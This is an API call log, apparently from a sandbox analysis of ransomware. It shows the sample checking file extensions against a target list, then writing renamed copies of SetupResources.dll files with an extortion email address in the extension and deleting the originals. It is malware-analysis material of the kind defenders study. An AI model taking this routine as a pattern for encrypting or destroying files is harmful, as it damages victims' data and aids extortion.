	[0071.635] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.635] lstrlenW (lpString=".ppt") returned 4
	[0071.635] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0071.635] lstrlenW (lpString=".zip") returned 4
	[0071.635] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.635] lstrlenW (lpString=".rar") returned 4
	[0071.635] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.635] lstrlenW (lpString=".bz2") returned 4
	[0071.635] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.635] lstrlenW (lpString=".7z") returned 3
	[0071.635] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0071.635] lstrlenW (lpString=".dbf") returned 4
	[0071.635] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0071.635] lstrlenW (lpString=".1cd") returned 4
	[0071.635] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0071.635] lstrlenW (lpString=".jpg") returned 4
	[0071.636] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.636] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.636] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0071.636] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=18264) returned 1
	[0071.636] CloseHandle (hObject=0x2bc) returned 1
	[0071.636] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80
	[0071.636] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0071.636] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.636] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.637] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0071.637] GetLastError () returned 0x0
	[0071.637] ReadFile (in: hFile=0x2bc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0071.764] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0071.766] ReadFile (in: hFile=0x2bc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.766] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.766] SetEndOfFile (hFile=0x2b8) returned 1
	[0071.766] CloseHandle (hObject=0x2b8) returned 1
	[0071.767] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.767] SetEndOfFile (hFile=0x2bc) returned 1
	[0071.769] CloseHandle (hObject=0x2bc) returned 1
	[0071.769] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.769] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1
	[0071.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0071.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0071.769] lstrlenW (lpString=".doc") returned 4
	[0071.769] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.769] lstrlenW (lpString=".docx") returned 5
	[0071.769] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.769] lstrlenW (lpString=".pdf") returned 4
	[0071.769] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.769] lstrlenW (lpString=".xls") returned 4
	[0071.769] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.769] lstrlenW (lpString=".xlsx") returned 5
	[0071.769] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.770] lstrlenW (lpString=".ppt") returned 4
	[0071.770] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0071.770] lstrlenW (lpString=".zip") returned 4
	[0071.770] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.770] lstrlenW (lpString=".rar") returned 4
	[0071.770] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.770] lstrlenW (lpString=".bz2") returned 4
	[0071.770] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.770] lstrlenW (lpString=".7z") returned 3
	[0071.770] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0071.770] lstrlenW (lpString=".dbf") returned 4
	[0071.770] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0071.770] lstrlenW (lpString=".1cd") returned 4
	[0071.770] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0071.770] lstrlenW (lpString=".jpg") returned 4
	[0071.770] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0071.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0071.770] lstrlenW (lpString=".doc") returned 4
	[0071.770] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.770] lstrlenW (lpString=".docx") returned 5
	[0071.770] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.770] lstrlenW (lpString=".pdf") returned 4
	[0071.770] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.770] lstrlenW (lpString=".xls") returned 4
	[0071.770] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.770] lstrlenW (lpString=".xlsx") returned 5
	[0071.770] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.770] lstrlenW (lpString=".ppt") returned 4
	[0071.770] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0071.771] lstrlenW (lpString=".zip") returned 4
	[0071.771] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.771] lstrlenW (lpString=".rar") returned 4
	[0071.771] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.771] lstrlenW (lpString=".bz2") returned 4
	[0071.771] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.771] lstrlenW (lpString=".7z") returned 3
	[0071.771] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.771] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0071.771] lstrlenW (lpString=".dbf") returned 4
	[0071.771] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.771] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0071.771] lstrlenW (lpString=".1cd") returned 4
	[0071.771] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.771] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0071.771] lstrlenW (lpString=".jpg") returned 4
	[0071.771] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.771] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.771] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.771] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0071.771] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=17752) returned 1
	[0071.771] CloseHandle (hObject=0x2bc) returned 1
	[0071.772] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80
	[0071.772] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.772] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0071.772] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.772] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.772] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0071.772] GetLastError () returned 0x0
	[0071.772] ReadFile (in: hFile=0x2bc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x4558, lpOverlapped=0x0) returned 1
	[0071.819] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x4560, lpOverlapped=0x0) returned 1
	[0071.820] ReadFile (in: hFile=0x2bc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.820] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.820] SetEndOfFile (hFile=0x2b8) returned 1
	[0071.821] CloseHandle (hObject=0x2b8) returned 1
	[0071.822] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.822] SetEndOfFile (hFile=0x2bc) returned 1
	[0071.823] CloseHandle (hObject=0x2bc) returned 1
	[0071.823] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.823] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1
	[0071.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0071.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0071.823] lstrlenW (lpString=".doc") returned 4
	[0071.823] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.823] lstrlenW (lpString=".docx") returned 5
	[0071.823] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.823] lstrlenW (lpString=".pdf") returned 4
	[0071.823] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.823] lstrlenW (lpString=".xls") returned 4
	[0071.824] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.824] lstrlenW (lpString=".xlsx") returned 5
	[0071.824] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.824] lstrlenW (lpString=".ppt") returned 4
	[0071.824] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0071.824] lstrlenW (lpString=".zip") returned 4
	[0071.824] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.824] lstrlenW (lpString=".rar") returned 4
	[0071.824] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.824] lstrlenW (lpString=".bz2") returned 4
	[0071.824] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.824] lstrlenW (lpString=".7z") returned 3
	[0071.824] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0071.824] lstrlenW (lpString=".dbf") returned 4
	[0071.824] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0071.824] lstrlenW (lpString=".1cd") returned 4
	[0071.824] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0071.824] lstrlenW (lpString=".jpg") returned 4
	[0071.824] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0071.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0071.824] lstrlenW (lpString=".doc") returned 4
	[0071.824] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.824] lstrlenW (lpString=".docx") returned 5
	[0071.824] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.824] lstrlenW (lpString=".pdf") returned 4
	[0071.824] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.824] lstrlenW (lpString=".xls") returned 4
	[0071.824] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.824] lstrlenW (lpString=".xlsx") returned 5
	[0071.824] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.825] lstrlenW (lpString=".ppt") returned 4
	[0071.825] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0071.825] lstrlenW (lpString=".zip") returned 4
	[0071.825] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.825] lstrlenW (lpString=".rar") returned 4
	[0071.825] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.825] lstrlenW (lpString=".bz2") returned 4
	[0071.825] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.825] lstrlenW (lpString=".7z") returned 3
	[0071.825] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0071.825] lstrlenW (lpString=".dbf") returned 4
	[0071.825] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0071.825] lstrlenW (lpString=".1cd") returned 4
	[0071.825] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0071.825] lstrlenW (lpString=".jpg") returned 4
	[0071.825] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.825] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.825] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.825] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0071.825] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=14168) returned 1
	[0071.825] CloseHandle (hObject=0x2bc) returned 1
	[0071.826] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80
	[0071.826] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.826] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0071.826] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.826] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.826] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0071.971] GetLastError () returned 0x0
	[0071.971] ReadFile (in: hFile=0x2bc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x3758, lpOverlapped=0x0) returned 1
	[0071.978] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x3760, lpOverlapped=0x0) returned 1
	[0071.979] ReadFile (in: hFile=0x2bc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.980] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.980] SetEndOfFile (hFile=0x35c) returned 1
	[0071.980] CloseHandle (hObject=0x35c) returned 1
	[0071.981] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.981] SetEndOfFile (hFile=0x2bc) returned 1
	[0071.982] CloseHandle (hObject=0x2bc) returned 1
	[0071.982] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.982] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1
	[0071.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0071.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0071.983] lstrlenW (lpString=".doc") returned 4
	[0071.983] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.983] lstrlenW (lpString=".docx") returned 5
	[0071.983] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.983] lstrlenW (lpString=".pdf") returned 4
	[0071.983] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.983] lstrlenW (lpString=".xls") returned 4
	[0071.983] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.983] lstrlenW (lpString=".xlsx") returned 5
	[0071.983] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.983] lstrlenW (lpString=".ppt") returned 4
	[0071.983] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0071.983] lstrlenW (lpString=".zip") returned 4
	[0071.983] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.983] lstrlenW (lpString=".rar") returned 4
	[0071.983] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.983] lstrlenW (lpString=".bz2") returned 4
	[0071.983] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.983] lstrlenW (lpString=".7z") returned 3
	[0071.983] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0071.984] lstrlenW (lpString=".dbf") returned 4
	[0071.984] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0071.984] lstrlenW (lpString=".1cd") returned 4
	[0071.984] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0071.984] lstrlenW (lpString=".jpg") returned 4
	[0071.984] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0071.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0071.984] lstrlenW (lpString=".doc") returned 4
	[0071.984] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.984] lstrlenW (lpString=".docx") returned 5
	[0071.984] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.984] lstrlenW (lpString=".pdf") returned 4
	[0071.984] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.984] lstrlenW (lpString=".xls") returned 4
	[0071.984] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.984] lstrlenW (lpString=".xlsx") returned 5
	[0071.984] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.984] lstrlenW (lpString=".ppt") returned 4
	[0071.984] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0071.984] lstrlenW (lpString=".zip") returned 4
	[0071.984] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.984] lstrlenW (lpString=".rar") returned 4
	[0071.984] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.984] lstrlenW (lpString=".bz2") returned 4
	[0071.984] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.984] lstrlenW (lpString=".7z") returned 3
	[0071.984] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0071.984] lstrlenW (lpString=".dbf") returned 4
	[0071.984] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0071.985] lstrlenW (lpString=".1cd") returned 4
	[0071.985] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0071.985] lstrlenW (lpString=".jpg") returned 4
	[0071.985] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.985] lstrcmpiW (lpString1=".ico", lpString2=".Z9") returned -1
	[0071.985] lstrlenW (lpString="DisplayIcon.ico") returned 15
	[0071.985] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0071.985] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=88533) returned 1
	[0071.985] CloseHandle (hObject=0x2bc) returned 1
	[0071.985] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80
